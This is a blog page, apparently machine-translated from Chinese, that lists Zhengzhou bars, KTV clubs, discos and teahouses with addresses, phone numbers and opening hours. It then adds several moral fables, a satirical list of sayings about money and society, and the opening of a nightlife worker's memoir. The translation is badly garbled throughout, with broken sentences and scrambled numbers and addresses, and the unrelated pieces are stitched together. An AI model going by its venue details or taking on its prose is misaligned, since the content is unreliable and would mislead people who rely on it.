Mao Mao's nest - Prettywpf - Netease blog

Auction prices back repeatedly, the auction is the farm no gun wars, but the war brought is arts, culture, spiritual wealth, there is a substantial source of income, I like, in the hope of future persistence is the key to success.


Mood for Love. .

Category: bars, address: Jingqi road, Tel: + 86-371-3927488 travel routes: 32 road.

Hours: Late :7:00 - am: 2:00 Per capita consumption: 10 Parking: None. .

Passenger capacity: 20-50 featured services: various types of beer, wine, wine, snacks, freshly squeezed fruit juice.

Zero Zhengzhou City Lounge. .

Categories: bar addresses: Zhengzhou Huanghe road (yellow and eight-way intersection).

Phone: 0371-3931069 Bus: 211, 63, 23 Road, 72 Road. .

Opening hours: 19: 30-1: 30: per capita consumption has more than 40 own parking:.

Capacity: 300 or more. .

Featured services: Interior seats 90 table can accommodate 500 people, internal facilities affordable, acoustics, lighting and first-class facilities, attentive service and meticulous, and have static bar, KTV rooms, quiet, friends, social networking site, performance highlights are highly appreciative and entertaining.

Heart Source Bar. .

Category: bars, address: 61, University Road, Tel: + 86-371-7940090.

Bus: 9 Road, 906 Road, 4, 102 Road, 101 Road, get off at the University of intersection. .

Opening hours: 13: 00-24: 00 per capita consumption: 10 parking spaces: no passenger capacity: 20-50.

Special Services: to provide the beer, beverage, featuring homemade juice. .

European Best Western restaurant.

Category: Bar Address: Weiyi Road and the junction of the West 20 m by 6 Phone: 0371-3833555. .

Bus guideline (route): 209 open time: unknown are consumption: specially has parking spaces: 3-6 passenger capacity: 20-50.

Special Services: There are well-cooked western cuisine, complemented by fine wine of mellow wine; here are delicious fruit salad business, together with the aroma of coffee continuously. .

Color bar.

Category: Bar Address: Weiyi Road, by the intersection of West 6 Road and 100 meters South. .

Tel: + 86-371-3974517 parking: no guest capacity: 50-100.

Special Service: beer, fruit platter, a small food. .

A party in the water.

Category: Bar Address: No. 1 Zijin Road Hours: 14:00-2:00. .

Per capita consumption: has more than 40 own parking: passenger volume: 100-300.

Western Christmas tree coffee. .

Category: bars, address: walled North Street, Tel: + 86-371-3850501.

Bus: 63.6 road per capita consumption: 50 parking spaces: 3-6 Capacity: 20-50. .

Featured services: in-house facilities, affordable. Some building blocks, checkers, and other toys, is a better entertainment.

Maple Leaf. .

Category: bars, address: weiyi 11, Tel: + 86-371-3917086.

Bus: 32,205 Road Hours: 15:00-3:00 Per capita consumption: 50. .

Parking: 3-6 passenger capacity: 50-100.

Campanula bar. .

Category: bars, address: weiyi 12, Tel: + 86-371-3852785.

Bus: 32,205 Road Hours: 15:00-3:00 Per capita consumption: 50. .

Parking: 10-20 passenger volume: 100-300.

Xinxin Club Championship Bar (the southern section of Bank of Communications, north of culture). .

Minghui bar opening hours: 8: 30 am-3: 00 pm contact: 371-3844584.

Address: 2 South Road, Zhengzhou City, the winning pay on the 6th (Minghui 10 meters west of the city garden). .

Characteristics: a synthesis of classical and modern. Minghui bar also needs a friend there business cafes, pubs, lover, and vent banquet!.

Hunter Bar Style: romantic, comfortable, lively, fun, special. .

Address: winning 2, Tel: 13007501515 guest capacity: 200 person.

Transportation: Champion Road and Health Road intersection east 20 meters. .

Opening hours: 19: 00-24: 00.

Special recommendation: drink, drinks, snacks. Is the industry leader in Zhengzhou bar. .

Black square bar style: comfortable, special.

Address: Health South Road and the winning road 50 meters south of the intersection. .

Phone: 3934140 opening hours: 15: 00-24: 00.

Special offers: elegant environment, to provide friends, birthday Party, playing cards (mahjong, poker, checkers, chess). Summer launch of iced tea, bubble tea in Taiwan, South Korea iced tea, pearl milk tea, all kinds of beer. Night show. Capacity: 80. .

Package: 80 Yuan consumption (tea pot, fruit, black seeds).

Tea lounge listening to the sea near the provincial stadium 191 - 7638577. .

Hotel Eckert, hotel near 5956600-20298.

Cheer Bar (Static Bar) Green City Square near 7,428,035. .

Repulse Bay music bar near 5905159 provincial.

Golden Rose Bar --- Erqi --- 191-7641461. .

Private lounge---jinshui district---5905597.

Ming-Jinshui District Court Gallery --- --- 5738004-6011. .

Sofitel Hotel Ostrov-it international hotel nearby 5950088-8300.

Memories Bar near 13,007,543,564, Zhengzhou Evening News. .

48, bars near 6211923 Dennis department store.

Wesson bar near the 5,990,653 Zijin Plaza. .

Michigan Bar Datong road No. 5 (Datong road and Dehua Street intersection to the East, 150 meters) Tel: 6998463.

Norwegian Forest bar near the provincial stadium 13803716965. .

Urban village bar---jinshui district---6234021.

Tea Village Opera restaurant. .

Style: comfortable, quiet, very special.

Address: East Tai Hong Road, 3. .

Opening hours: 20: 30-2: 00.

Music: You can enjoy the local opera in Henan, Henan, Quju, the more stressed, folk art, folk music and so on. .

Passenger capacity: 80 people.

Price: 20 yuan. .

Knit the teahouse.

Style: special. .

Address: Wei Jingyi and four-way intersection to the East, the South 20 metres.

Tel :912-8881233. .

Business hours in the afternoon 1: 00 pm-1: 00 a.m. the following day.

Special recommendation; Dahongpao old Yam Cha tea ceremony, the environment elegant, leisurely. Hundred and healthy gift cards. .

Decoration: special.

Capacity: 40. .

Rooms: 5.

Price: 16 yuan / person (a cup of tea and two snacks). .

Zhengzhou Typhoon Tang bubble tea corner with eight-way and Hongqi road intersection.

Elegant Casual Tea House --- --- 3940924-2115 Jinshui. .

Tai Kang Hai Opera teahouse East Road, no. 8 (jianghai hotel).

People's Theatre Ming dynasty opera teahouse North 27 Road Provincial People's Theatre. .

Pot Xiaotian teahouse high road and Garden Road 50 meters South East.

Disco across time and space. .

Categories: Disco gold sea Add.: No. 8, Tel: + 86-371-5941188.

Bus: 80 Road Hours: 19:00 - Overnight per capita consumption: 50 Parking: 6-10 Capacity: 300 or more characteristics of services: performance wind fierce disco. .

Wind di bar Dongming road (South of the River hotel).

Munich Disco Ming Road east of East Road north of the mall. .

Metropolis nightclubs city East Road North West moved down the road.

Silver Cultural Palace Road, Hong nightclub south east of winning North. .

Cherry Garden Club West tongbai Road South Wing River.

OK Chinatown karaoke club Variety Road south east of collaboration. .

Pont-de-cuisine Club Dongming road, South, East to the West of the city.

Leisure Square, Sky City Road East Jim down the river east of the south. .

Oriental entertainment mall road, East of East Chengcheng South.

Tyrone sauna Casino Variety Road east Ruhe Road north of Garden Road. .

1, fragrant tea Garden Road and hongzhuan road intersection 5730777.

2, Czech farmers Cafe Garden Road and Red tertiary road intersection 6,973,815. .

3, on the island of coffee and the Yellow River Road Huanghe road, huayuan Rd. intersection 5975200.

4, river passing through the performing arts agriculture bar five, six, seven, eight-way (Garden Road, west). .

5. for your loving bar after five road 5935689.

6, the new power bars by the six Road 5922388. .

7, see the bar road No.10 3811142.

8, the Mood for Love Music it by 7 Road 48, opposite 3,927,488 General hotel. .

9, classical coffee after eight-way and Rd. intersection 3910312 report: collection of Western bar road.

G Street (Garden Road, east of the waterway north of King). .

10, and clouds of restaurant services seven streets and high road intersection 5714998.

11, Mint Garden Tea House Red Road and the leisure business administration Street intersection 5,956,870. .

12, Moon Bay bar art, Moon Bay restaurant services 7 Street 34, 5921534.

13, Time village bar political Street intersection 5,956,086 Weiwu. .

14, six tea Hongqi road 5947799.

15, Red Road 5933026 Liujunzi dance hall. .

16, pot of tea, high road, Xiaotian 5730883.

17, Third Road, Sea View Coffee 15 5585667. .

18, fragrant Pavilion tea hongzhuan road, East.

19, UBC red red post road post-road shop. .

Golden waterway.

20, Fairview Road, Chaoyang nightclub and gold water by 7 intersection 3,922,450. .

21, UCC coffee, jinshui shop early.

22, Golden Bay Ridge ball club Jin Shui Bao Road 5996113. .

23, Tian lu chaqu future road 5949223.

25, UBC Wenzhou shop next road. .

Weiyi.

24, Weiyi Road, Hi accompanying bar. .

25, weiyi Marguerite restaurant.

26, Wind Chimes Inn, Campanula bar Weiyi Road 3852785. .

27, Maple bars, Maple business bar weiyi 3917086.

28, the world's third three-way intersection by the bar Weiyi 3,942,913. .

29, Ming code bars through a six-way intersection with weiyi.

30, English tea and coffee were typical middle Weiyi 3,974,696. .

Culture road, erqi road.

31, Zero Lounge Culture Road and Yellow River Road intersection 3,931,069. .

32, Czech farmers coffee North erqi road 76, 6226292.

33, a pot of tea houses 27 Road and Xi Yuan Road intersection 6,260,598. .

34, promoting health and fitness club culture road city gym 3910055.

35, Zhengzhou, Shanghai Typhoon Shelter Huangpu Road, 101 3935005 restaurant culture. .

Ren walled North Street.

36, Left Bank Village of North Street 5, office coffee, 3838855. .

37, old tree coffee health road and walled North Street intersection 3853795.

33, boys and girls of any bar Walled North 3818150. .

38, Moulin Rouge bar-walled North Street.

39, Christmas tree green olives of any Village North 3850501. .

40, hundred terjung pizza Cafe-walled North 3821552.

Healthy Way (Yellow River Road, south of the Golden Waterway north of the large stone bridge east). .

41, Cola star restaurant health North Road, 159, development building, first floor 3977115 to 777.

42, listening to the sea with lounge music intersection of West Road and healthy way 3928920. .

43, Norwegian Forest bar fun road and road intersection 13803716965.

44, Continental Club, Dongfeng Road, Aberdeen, middle strong Academic park diagonally across 3,752,111. .

Dennis Renmin road.

45, second floor, Mong Kok Restaurant 6,236,688 people Ludannisi switch 8178. .

46, ban Sen coffee Dennis second floor 6258774.

47, Second Street and the sun right G Wei'er Road intersection 5,956,576. .

48, Garden music restaurant Renmin road, 6th floor 6220889 Dennis.

University Avenue. .

49, UCC coffee traffic road (University East first road) 6988556.

50, Xunmeng Yuan nightclub Gimhae Avenue (with the University Avenue Linked) 8733699. .

51, Czech Republic, and Nong road, located on the road of coffee.


Red Hot Square Club: Located on 6th Floor, Yuda Palace Hotel, Spice Corner Club membership with international business practices and open way, members of the fixed direction of the high consumption, local business tycoons, foreign business leaders and other hotel guests. Club business included the provision of domestic and foreign well-known band, DISCO dancing, cigars Square, book Gallery, VIP boxes and so on. With the world's top audio-visual sound and light and song system, the world-renowned architects and interior designers to do the overall planning, and use the device internationally renowned food and beverage, sanitary ware, high quality for members and public service establishments. .

。.

Ready source of money: money tree is a slow roll, KTV discount, entertainment, song and dance performing arts as one of the major leisure and entertainment. Business area of 7,000 square meters, the Korean style of decoration; first floor, window, performing arts bars and beauty bar; the British imported the world's top lighting, sound equipment; the second floor, third floor of the KTV rooms, decorated luxury different mood, a luxurious PARTY rooms, couple mini-private rooms, 60 private rooms. .

。.

Zhengzhou Cashbox: Cashbox KTV is a visual, listening, songs purchased as one large self-KTV Biao Song City, with U.S. imports Bose301 fifth-generation audio, a total of 40 rooms private rooms, private rooms with luxurious presidential suite. Chain management, the environment elegant, excellent sound effects. 14:00-17:00 afternoon tea buffet (Western U.S. points, salad vegetables and fruit, free drinks); 17:30-20:30 Buffet dinner (fine fried dishes, flavor pasta, features home cooking); 00:00-02: 00 self-service snack (Taiwan braised pork on rice, porridge, cookies, free drinks). .

。.

Zero Lounge: European architectural style, appearance elegant, romantic. Lounge in the upper and lower three floors, with static bar, Performing Arts Plaza, Disco, glass private dining room, KTV private rooms and other entertainment facilities. Static bar with soothing light music, to provide more brands of wine, red wine, beer, cocktails, drinks, and lounges made of a variety of food.Performing Arts Plaza, each night, all the actors perform with 8 people's dance company, has formed a new, strange, music-based zero performing style; di it adopts the foreign high-tech sound system, lighting, and equipped with excellent acoustics, lighting and lead dancer entertainers; KTV rooms equipped with imported VCD, big-screen television, amplifier, microphone, speaker, beautiful surroundings, comfortable and elegant. Opening hours: 19: 30-1: 30; parking space: 40 or more. Featured services: Interior seats 90 table can accommodate 500 people, internal facilities, affordable price.

Le Di KTV good discount: full Kara OK, KTV services, all kinds of drinks, snacks, personal CD recording. Quiet environment, sound good. .

Target the target bar Pub: approximate membership theme bars, created in 1997. Guests to the success of Zhengzhou, senior white-collar workers, foreign persons, etc. In 2002, at the bar, on the basis of the established target cross-country club, often organized outdoor adventure, self-driving travel and long distance through activities, so that we become friends by strangers. In the target, no strangers, not alone. Because the bar, was a British authority in the Lonely Planet travel books. .China (Lonely Planet) included.

. .

Time tunnel DISCO Performing Arts Center: time tunnel Disco Hall occupies an area of 2000 square meters and can accommodate nearly a thousand people, entertainment, lighting, audio import the top-level, rear-projection-type super large screen display. 30 rooms and a Business Club, KTV, elegant and luxurious decoration, constant temperature, the four seasons, you have the latest computer karaoke VCD. Hailed as the greatest of Henan province DISCO dance hall. Since opening in October 2000, invited the famous singer, excellent DANCE DJ, MC, and so do the concert. Tickets $ 20; 18: 00-02: 00.

Zhengzhou across time and space DISCOBAR: Third Road in Zhengzhou DISCO bar clubs across time and space, across time and space a few years ago the club opened in Zhengzhou, the first large-scale CLUB. More than 1,000 square meters, two halls, eight KTV, a weekly fashion PARTY, which is the main hall features. Wild parties also committed to creating a specific subject such as PARTY. PROGRESSIVE HOUSR, HIP-HOP music and other diverse and unique fashion PUB wine tasting wine culture across characteristics. .

The yellow Plaza: Zhengzhou Zhengzhou Shangcheng Road and people road Bai Sheng square, the yellow and the performing arts, KTV, ?? bar and one!, low consumption, strong business since the yellow has 2. 3 years `business abnormal hot! Silver Village Plaza Zhengzhou 0:00 Entertainment is the high investment in entertainment, business center located in Zhengzhou City, Parkson Shopping Plaza, the business area of 3500 m2, a professional international DISCO Club (an area of 1500 m2) during the opening of free tickets; and the high discount KTV (65 间 VIP rooms, a large buffet, professional discount supermarket) free buffet. .

Contact: 66613111.

Specific location: Tung Tai Hong Road, Zhengzhou City Parkson Shopping Plaza, No. 72, 99. .

Kading bar: kading arts scene is a large performing arts, Disco bar, the lounge car culture and high-tech Crystal dream stage, lighting and sound equipment in advance. Every evening there will be a deduction program.

. .

Western Gala Tour: 50 Yuan/person; only style show, no private rooms, Zhengzhou city, the best venues, the atmosphere was good.

Vienna s Square: Gorgeous, seductive, quality, safety, tribal vogue. The latest wave of fashion entertainment, classic, stimulating. .

99 Casino: grade class, private room, sound effects, free of charge within the sauna, chess art, snacks.

Emperor KTV discount: fashion red bar, super six-star Party world, supermarket snack beverage drinks, special boxes and so on. .

Roman holiday fans: this shop was mainly to Invitational every Saturday a masquerade, beer + program + fiery atmosphere + friends = memorable.

Sofitel Hotel - Space 3 Bar: Sofitel Zhengzhou is located in third floor, a new hearing experience the endless space and dynamic new concept bar. Wine, snacks, soft drinks and wine, the Philippines, the band performed live. .

Sofitel Hotels: Osvaldo bar: with Irish style English pub, it makes you join England, ladies and gentlemen, demeanor and hygiene, meet friends, negotiate the business.

Sofitel Hotel - Nightclub: luxurious marble dance floor, colorful song and dance performance, high-tech lighting and integrated digital music. .

Sofitel Hotels: rhyme pool bar: transparent glass dome, picturesque layout, romantic and elegant. Coffee and assorted us more features.

Central Plains Crowne Plaza Hotel - White Horse Bar: American style, the Philippines, the band perform live. .

Cat bar: eSport-centric theme bar, you can single battle, embed. Whether you love this electronic sports, free, ubiquitous!.

Hot Dance Club: Zhengzhou-class audio equipment DISCO BAR. .

Xin color Carnival: provides the most trendy and fashionable entertainment, classic, stimulation.

Garden Village KTV discount: Garden Village club, four; the third floor of traditional song book song, first-class sound, the fourth floor of a stylish PC song, the first freely choose to tens of thousands of new and old songs. .

Heaven nightclub: sound effects, as well as the rooms are good, contestants gathered.

Mood for Love: 7:00 pm - 2:00 am Business, passenger capacity of 50 persons, providing all kinds of beer, wine, wine, snack foods, fresh fruit juice. .

Lakeside: 14: 00-2: 00, 40 parking spaces, 100-300 passenger capacity. First floor rooms, second floor of the building; qinglvka Hall featured performances; on the third floor, Zhengzhou is a unique open air entertainment bar.

Western Christmas tree coffee: per capita consumption of 50 3-6 parking spaces; passenger capacity of 50 people, internal facilities, affordable. A building block, checkers and other toys. .

Day network Club: Club day network is the first company in the Central Plains with five-star elegance and taste, the use of Leisure Club Internet 100 MB fiber access set casual Internet access, a bar, a restaurant as one of the main leisure clubs network; working business people and network game experts, dedicated to provide Internet access, digital games, entertainment, mobile commerce and Internet training for integrated service network and leisure clubs. Internet cafes have nearly 200 computers on the first floor hall with CS area, play area, audio-visual area, the car area, game area, with comfortable high-back chairs and foot, etc.; the second floor has a business box, couple boxes; leisure zones colored tea, comfortable sofas, elegant environment. .

Cat bar Auditorium: passion for the performing arts, dance, circus in Russia, gentlemen, model, does not collect the tickets, the consumer. Suitable for kids, a table is small, the entertainment was very good.

Heart Source Bar: Opening Hours: 13:00-24:00, passenger capacity :20-50; to provide beer, drinks, featuring homemade juice. .

European Best Western-style cuisine here and fruit salad, and Clemons wine is featured here.

Natural Bar Category: beer, fruit platter, a small food. .

Campanula bar: opening hours: 15: 00-3: 00, per capita consumption 50RMB, 10-20 parking spaces.

Minghui Bar: Opening hours: 8:30 - 3:00 am, is a comprehensive model of classical and modern, plus a commercial bar, valentine, party bar, and vent it. .

Hunter bar: with a romantic and comfortable, lively, fun, special style; the drinks, beverages, snacks; is Zhengzhou bar is a leader in the industry.

Hong Chafang Bar: elegant environment, to provide friends, birthday Party, playing cards (mahjong poker, checkers, chess), the summer launch of iced tea, bubble tea in Taiwan, Korea, iced tea, pearl milk tea, all kinds of beer. Night show. Rooms: Consumer 80 (Songcha pot, fruit fight, black melon seeds). .

Free man bar: consumption: 12 yuan/person. self-help. beer and soft drinks.

Clear bouldering hall: Consumption: Beer 15 yuan / listen. . Coke 10 yuan / listen. . Draft beer: 38 yuan / a big hit. .

Very comprehensive.

The most practical. .

If you have the money just to play fashion ... especially lovers to Emerald Pearl.

If you have the money to play decent unit leaders face ah! What is the internal heat Leopard. .

If you don't have much money but a fresh fun go silver village.

Zhengzhou leisure entertainment matrix. .

Name type address phone capacity..

Zero Lounge. .

Nightclub Huanghe road, Zhengzhou city, Henan province, more than 300 63931069 96.

Disco across time and space. .

Di/8 Ballroom gold sea 65941188 300 or more.

Dance club. .

Di/Ballroom gold sea and the hot ball Dongming road, 2nd floor, 65977388.

Arts Cardin big stage. .

Di/ballroom of agriculture road and daybreak road intersection South 200 m 63867283.

Leisure Square, Vienna. .

KTV Hongzhuan road and Jingyi road intersection West 50 m (next to the Palace Hotel) 67269609/67269169.

99 Casino. .

Nightclub xitaikang road No. 56 (opposite of insurance companies, non-night city boss) 66213906/66205397.

Emperor KTV discount. .

KTV jinshui district dongsanjie and Hongqi road 50 meters to the North-West of the 63696888/63696555.

Le Di KTV good discount. .

KTV Shangcheng Road, Zhengzhou city, Henan province, and city road intersection 66333888.

Truth KTV. .

KTV cultural route 102 aggregation building 63866766 63863766.

Xin-color Love. .

KTV jinshui district Sofitel Hotel 13012748146.

Zhengzhou till. .

KTV jinshui district-five highways 7 Street intersection supply and marketing mansion, third floor 65831222 65831333.

Discount KTV KTV Garden Village Garden North Section, Zhengzhou City, the financial element Plaza East neighboring 65,791,056. .

True love liangfanshi KTV.

KTV and West Zijin Road, Zhengzhou East Road intersection 66226999/66220999. .

Heaven nightclub.

Nightclub and Red Road by three-way intersection. .

Zen cool bar.

Bar culture of the Yellow River Road intersection south 50 meters Road East 67025188. .

Days in the network society.

Entertainment City of the Yellow River Road and G Street intersection 6,552,588,865,525,999. .

Since the visitors bar.

Bar of the Yellow River Road and Wenhua Road, south of 20 meters Road East intersection 67,025,116. .

Cat bar Auditorium.

Bar Jinshui Weiwu Road 22 65943516. .

Space bar.

Bar Gang breaking Road and Huashan Road, the east 50 m 65203152. .

South Park bar.

Bar Weiyi, the six-way through and between the Seven Road 6,390,229,113,939,085,599. .

If the rain slender static!.

Bar West Point Road and west of 100 meters South Songshan Road Intersection 65,173,933. .

Roman holiday fans!.

Bar Six Road to Weiyi by the middle of 65,905,159. .

Kading bar.

Bar Agricultural Road and dawn Road intersection south to 200 meters 63867283. .

Paradise bar next door.

Bar 76 sea Zhengzhou City fashion party the East 66169300. .

Hand corner Club.

Bar of any camp east intersection of North Street and healthy way 40 meters South 63,945,909. .

Sofitel-space bar.

Bar Sky City Road East 289 65950088-8300. .

Sofitel Hotel-Yun pool bar.

Bar Sky City Road East 289 65950088-8100. .

Target bars.

Bar Six Road, Zhengzhou City Annex 10 20 (50 meters away from the Jin Shui Road, Road West) 65905384. .

Yantai Asia hotel bar.

Bar 27 Plaza Hotel, third floor of 66,855,390 southwest Asia. .

Helmsman bar.

Bar Traffic Road 74 66989098. .

White Horse pub in the State —.

Bar gold waterway 115 65950055 - 1652. .

Teana village pub.

Bar Cheng Nan 5 13607648291 largest market. .

Authentic pubs.

Bar at University Avenue and Central Road South intersection of 20 meter from 6794009020-50. .

Cat bar.

Bar Culture Road about 200m north of any Village North Road, East Wenhua Road ~ 63,288,228. .

The mood bar after seven road, 3927488.

Zijin Road in the Water Bar, 1 100-300. .

Campanula bar bars 12 weiyi 63852785 100-300.

Hunter Bar Bar winning South Road intersection and Health 200 East 20 meters. .

European Best Western restaurant bar weiyi road junctions with six s 20 m 3833555 20-50.

. .

Color bar bars through a six-way intersection with weiyi West Road 100 meters South 63974517 50-100.

Minghui Bar Bar Road, Zhengzhou City No. 2 to pay the winning 6 (Minghui 10 meters west of City Garden) 63844584. .

After the bar pub culture on the North Bank of the South section.

Disco Bar gold waterway across time and space 8 65941188300. .

Wind di cafe bar Dongming road, no. 32.

Hong Chafang Bar Bar Health South Road and cross the winning road 50 meters south of 6,393,414,080 people. .

Hunter bar bars winning South.

13,007,501,515,200 people. .

Maple Leaf Lounge Bar weiyi 11 number 6917086 50-100.

Christmas Tree Village North Western coffee bar any 6385050120-50. .

Money tree information College Road 63636818/63636898.

Provincial Agricultural Road West Liquor City Museum of 63,611,166. .

Emerald pearl culture road and winning road intersection.

Rolling Stone yield Road off Tiger Club Plaza Tuen life. .

Time tunnel performing arts center, 1000 people.

Fashion China: Club Description: Zhengzhou China Fashion Square is the slow roll Noah's Ark entertainment management company in Fujian's second store in Zhengzhou, cost 10 million, carefully orchestrated set of distinguished KTV, stunning, window in one of the noble entertainment club. 38 different styles of luxury KTV, nearly square, window hall, the world's top Ma Tin sound, dazzling lights, creating super-real visual feast. Was June 1 opening of the second reload, activities with different themes each week, 100 to create a bar the night baby fashion culture. .

Contact: + 86-371-639213384.

Specific Location: Zhengzhou City, after seven Road and High Yield Road Interchange. .

Money tree.

Club Profile: The company is a slow wave, KTV discount, entertainment, song and dance performing arts as one of the large top leisure and entertainment.Business area of 7000 square meters; the first floor for luxury ?? bar, performing arts bar and beauty; the stage design, unique, British import of the world's leading lights, audio equipment, is currently the most avant-garde in Zhengzhou city, the most fashionable music ?? bar; on the second floor and third floor as KTV rooms, luxurious decoration, decorative, not only flavour luxury PARTY room, more couples small world warm Mini Pack, various types of box 60, to simple elegant design style, art and entertainment, the perfect combination of imported audio and full LCD computer Karaoke system, duling wind.

Contact :0371-63636818. .

Location: Dongfeng road and information College Road 300.

NEW. . K KTV. .

Introduction: the NEW Clubhouse. .K KTV is a specialized liangfanshi KTV, Hi-Fi audio visual equipment, decoration, consumer prices reasonable.

Contact :0371-66313333. .

Location: located on the road and city road intersection to the West of 50 m.

Zhengzhou Allen story. .

Clubhouse arendarski story: bar has become China's largest pub chain brand, has reached more than 140, all 31 provinces, autonomous regions and municipalities. Zhengzhou Alan story, as new, fashionable people especially single family provides a platform to make friends. There is always a kind of emotional warmth, there is always a light heart light shining. As a friends bar, "Alan story" was originally to mailbox TThe way to communicate, then improved to pass paper cranes.

Contact :0371-65383166 65383188. .

Location: Zhengzhou, the three-way and weier road intersection "Arun story bar".

TOP TEN dance club. .

Club: Henan climax on the hot dance party catering, Entertainment Co., Ltd. was established in August 2003, is a large-scale professional currently Zhengzhou DISCO of the avant-garde. This Council has set the "Superstore KTV, DISCO bar". We advocate: "lifestyle, health and entertainment," aims to develop a national market, and strive to enable the enterprise to become professional entertainment chain operating model.

Contact :0371-65993000. .

Location: jinshui district, Zhengzhou city, Henan province, 122 sign (Golden waterway and Dongming road, cross southeast corner).

9 degrees space bar. .

Club: nine space is Weiwu road intersection with eight-way, from the outside, the shop does not play, even though the striking but not neon glare, a tiny door myself half mask, pale yellow light from the infinite silence. Down the stairs to the third floor, open and transparent glass door, the bar just above a boy pendant is made of another kind, all similar bar Sunglass personality. Unlike the other for odd here as a small bar, only to sit down two or three individuals, where for odd layout similar to the banquet hall, a kind of feeling of the restaurant, soft cushions, sitting there like a Korean in the collective blind date scene, cordial and elegant, it is appropriate. .

Contact: 66695162, 13903851556.

Specific Location: Zhengzhou City, Weiwu Road, west of Seven Road and 60 meters South. .

Rock Club rockclub.

Club Profile: nightlife, give you a time, give me a space to provide unparalleled beauty of this time, bring this limitless space warm. Quiet and busy, bold and delicate, messy and elegant, rock and classical, and to life with the lazy, the situation with the dream ... ... and the Rolling Stones and together create a lifestyle of your own. Want to know the latest fashion dynamic it? Want to hear the latest and greatest dance it? Rolling Stone is a good place must not be missed, all forms of music make you refreshing, but also allow you to enjoy a strong pace in the genuineness of feeling sympathy, the first time feel the extreme of HIGH..

Contact: 65739933 65739977.

Specific Location: Garden Road, High Yield Road west 100 meters. .

BABYBODY beibei baodi.

Club Profile: Zhengzhou through three road BABYBODY CLUB, is the wealth of the Third Way road on a bright pearl, is in September 2005 set up in Zhengzhou in a large slow wave CLUB, in the not yet opened, it was already in the whole of Zhengzhou was talking about, after opening scenes is not popular is to say, almost overcrowded, like if the market. Set edge fashion, music trends, wine, beautiful woman as carrier BABYBODY, has become the city nightlife new darlings of the fashion Bobo is the set of a family home.BABYBODY CLUB set ?? DISCO and KTV, area.

Contact :0371-65753111 65753222. .

Location: Zhengzhou city, the three-way (finance) hongzhuan road 100 meters North of rongfeng garden.


1, the situation is different. .

A little pig, a sheep and cow head, in the same animal. Once a shepherd who caught pig, he shouted, called, violently resist. Sheep and cows hate it's yelling, they said: "he used to catch us, we do not call small. "Pig heard replied:" catch you and catch me are two separate issues, he catches you, just your hair and milk, but it caught me, my life? ” 。.

Position is different to different people and their environment, it is difficult to understand each other's feelings; therefore, others frustrated, frustration, grief, should not gloat, but should be caring, understanding mood. Be tolerant of the heart! . .

2, on their own.

Small snail asked her mother: Why we are born, we should bear this hard and heavy shell then? . .

Mother: because our bodies have no bones, only climb and crawl. So the shell protection!.

Small Snail: caterpillars sister no bones, but also climbing fast, why she was not back this hard and heavy shell do? . .

Mother: because Caterpillar sister can change into butterflies, the sky will protect her.

Small Snail: But did not the bones of earthworms crawl unhappy brother, it will not turn into a butterfly what he does not back this hard and heavy shell do? . .

Mother: because the earthworm brother would drill Earth, the Earth will protect him.

Small snail began to cry: We are so poor, does not protect the sky, the earth is not protected. .

Snail mother comfort him: so we have shells! we do not rely on the day, do not rely on, we rely on your own.

3, sharks and fish. .

.Finally, a collision that sharks are no longer block glass, those gorgeous tropical fish no longer care about, it seems like they just touch the wall frescoes, it begins to wait a day fixed by the CARP appears, and then use his agility for hunting instinct to return to the sea, it seems to me that the attacks of vicious arrogance, but all this is simply false, experiment to the final stage, the experiment will take the glass, but no response to a shark, but every day is still in a fixed area tour it will turn a blind eye on tropical fish, even when those carp, fled to the other side, he would immediately give chase, said nothing like the past, the experiment is over, it's experimental mock meekest of fish in the sea . But the lovelorn ever knows why, it pains. .

4 miracles.

In a remote French town, is rumored to have a particularly efficacious springs, miracles often occur, can treat various diseases. One day, a cane, losing a leg in the war veterans, came limping to the town road, next to the town's back with a sympathy kiss, said: "Poor guy, should he wish to God pray and then you have a leg? "This sentence has been heard ex-soldiers, he turned to them, said:" I do not pray to God there is a new leg, but to pray for him to help me and told me not After a leg, but also know how to live. ". .

Just imagine: learning to lose Thanksgiving, the fact of the loss of a regardless of gain and loss of life, always have to make their own life is full of beautiful and glorious, does not cry for the past and strive to live their own lives.

5, fishing rod. .

There's a man to fish in the River, a child went to see his fishing, old skills, so soon caught the baskets full of fish, see child cute elderly, to the whole fish baskets, baby gift he shook his head, the old man surprised asked: "why don't you?" the boy answered: "I want you in the hands of the fishing rod. "The old man asked:" do you want a fishing rod? "the boy says:" this crate fish eaten soon, if I have a fishing rod, I can catch his. "I think you will say: good smart kid. Wrong, he only fishing rod, he will eat a fish. Because he did not understand fishing techniques, light a rod is useless, because the fishing rod is not important, but in fishing technology have too many people think they own the trail of the fishing rod in life, without fear on the road again The wind and rain, so, inevitably fall on the muddy ground. As a child watching old people that eat there as long as fishing rod fish, like the staff to see the boss, that only sit in the office, have rolled into the financing. .


When the pig.


Money when the dogs. .


When, at home in the wild.


When money in the hotel to eat vegetables. .


When, in the street bike.


Money when the bike in the living room. .


When want to get married.


When the rich want a divorce. .


When his wife, and Secretary.


When the secretary and his wife money. .


When pretending to have the money to.


Time to pretend money money. .


Man, do not tell the truth:.


That stocks the drug, are playing;. .


That money is evil in Sarawak;.


That beauty is a source of trouble, all you want;. .


That physical, in the climb;.


That alcohol harms the body, do not quit;. .


That is the most beautiful paradise, don't go!!! 。.


Today's society, poor eating meat, rich prawns, leading cadres eating cuckold;. .


Men want high, skinny girl.


Dressing one dog exposed flesh;. .


In the past to leave her husband for the first time.


Now the first child left her husband;. .


Country morning call, in chicken.


People call the city at night chicken;. .


The old society does not sell, the jester of strength.


New social actors are not performers sold themselves. .


Wages to rise.


More loving heart, a party. .


Can give a child a prize.


Dare to see my wife shouted up. .


Dare to try seafood goose.


Leisure to go shopping the. .


Meet beautiful women heart itch.


Results of all consumer prices have risen to his mother was white. .


25-year-old me!, a normal person, walk in the crowd very inconspicuous! 1. .73 height, black thin, how do you see how they look like a boy next door! 。.

Is such a person can experience a lot of peers have not experienced the bitterness of ups and. .

But such a person might have you! 。.

One writer once said: "Man, last generation 500 of the Review can be paid for this life pass by! And Looking Back to 1000 in exchange for life's acquaintance smile!" I believe that fate between people!. .

Today, I went through to get out and share with you, especially those who are like me and get engaged in the service of our brothers and sisters! because we are all very hard! everyday wearing masks to please others ~ ~ but we chose happy!!!! A complete community cannot be separated from the rest of our brothers and sisters night!!!! 。.

Field floated in the night nearly nine years, I was tired, want to shore and took their feelings out and share stories, maybe I did not write those authors to write well, but it is true! Close!. .

My experience of you may have experienced, may have experienced! but this is my night life! 。.

Text:. .

Today is very boring, opened a previously written those journal looked.

Time went by so fast!! Remember a time when school teachers always say: "water time passing by.." A bunch of times so that if we as a laughing stock. . But today I see the truth when the teacher said. . The time is really too fast. .

